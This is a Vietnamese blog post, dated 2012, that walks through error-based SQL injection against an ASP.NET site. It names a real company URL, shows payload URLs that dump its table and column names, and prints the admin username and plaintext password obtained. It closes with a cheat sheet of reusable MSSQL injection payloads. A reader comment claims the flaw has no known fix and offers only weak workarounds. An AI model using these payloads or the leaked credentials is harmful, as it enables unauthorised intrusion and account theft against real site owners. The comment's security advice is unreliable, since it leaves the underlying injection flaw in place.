Thứ Sáu, 29 tháng 6, 2012

SQLI - Khai Thác Đối Với ASPX


Bước 1: Check link lỗi


Đối với site aspx, ta thêm dấu  ‘ cuối đường link có các ký tự dạng ID=, Sp=…. Nếu thấy site xuất hiện lỗi: 

Unclosed quotation mark after the character string ''

Chứng tỏ site dính lỗi SQLI.
Ví dụ:     http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42’ 
















Bước 2: Truy vấn tên các table







Xuất hiện thông tin tên table thứ nhất: “tbl_DangNhap”. 


Conversion failed when converting the nvarchar value 'tbl_DangNhap' to data type int.

Tiếp tục truy vấn:



 Conversion failed when converting the nvarchar value 'tbl_DiaChi' to data type int.










Tiếp tục,



Conversion failed when converting the nvarchar value 'tbl_DoiTac' to data type int.
 
 Làm tương tự cho tới khi xuất hiện table user chứa thông tin username và password. Ở site này table chứa thông admin đăng nhập của admin là table đầu tiên:  Tbl_DangNhap
   

Bước 3 : Truy vấn tên các columns 


  Như thông tin khai thác được ở trên. Table chứa thông tin username và password chính là table: tbl_DangNhap. Chính vì vậy ta sẽ khai thác table này.



  
  Conversion failed when converting the nvarchar value 'ID' to data type int.





http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID')))-- - 



 
 Conversion failed when converting the nvarchar value 'TenDN' to data type int.


http://quangcaovinasun.com.vn/ProductDetail.aspx?MaSP=42 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_DangNhap') and column_name not in ('ID','TenDN')))-- -


 Conversion failed when converting the nvarchar value 'Matkhau' to data type int.

   
Bước 4: Khai Thác thông tin username và password


 -    Thông tin username:


  
Conversion failed when converting the nvarchar value 'loimv' to data type int.  

-    Thông tin password 


  

Conversion failed when converting the nvarchar value 'maihoanglinh@' to data type int 
-   Hoặc get cả username và password




   Conversion failed when converting the nvarchar value 'loimv/maihoanglinh@' to data type int






 

Bước 5: Tìm link admin và đăng nhâp 

 Sử dụng tool havij hoặc web admin finder, đã được giới thiệu ở bài 2:


Ta được link admin: 


admin:         loimv


password:   maihoanglinh@




Kết Luận Các Query SQLI Trong Aspx Cần Lưu Ý


           1-      Get the version:
  
              and 1=convert(int,@@version)-- -

            2-  Get  Server Name

     and 1=convert(int,@@servername)-- -
 
3-  Get data base name:
 
     and 1=convert(int,db_name())-- -
 
4-  Get system user
 
     and 1=convert(int,system_user) -- -
 
5-  Get table thứ nhất
 
     and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -
 
6-  Get table thứ 2:
 
   and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("FIRST-TABLE-HERE")))-- -
 
7-  Get table thứ 3 :
 
     and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ("Second-Table-Here")))-- -


8-   Get đến table user để lấy thông tin đăng nhập của admin
 
 
10 - Get column thứ nhất từ table chứa admin :
 
       and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")))-- -
   
11-  Get column thứ nhất từ table chứa admin :
 
       and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=("TABLE-NAME-HERE")
                                               and column_name not in ("FIRST-COLUMNS-HERE")))-- -
 
   12-  Get cho hết các columns cần lấy thông tin
 
        
   13-  Xuất ra thông tin username và password
 
        and 1=convert(int,(select top 1 column-name-1%2b’/’%2bcolumn-name-2 from TABLE-NAME-HERE))-- -

3 nhận xét:

  1. Verygood, Hướng dẫn rất chi tiết. Vậy cho mình hỏi cách khắc phục lỗi trên. Thank admin

    Trả lờiXóa
  2. mình có tìm trên mạng cách fix lỗi này nhưng không ra bạn ạh. Nếu bạn lo lắng thì có thể thay đổi lại password thật dài ( để hacker k crack được pass ) + đổi tên thư mục admin ( hoặc dùng htaccess ) để chặn hacker khi hacker crack được mật khẩu.
    làm như thế thì site của bạn chỉ là chỗ luyện tập và k cho hacker đạt được mục đích phá hoại :D

    Trả lờiXóa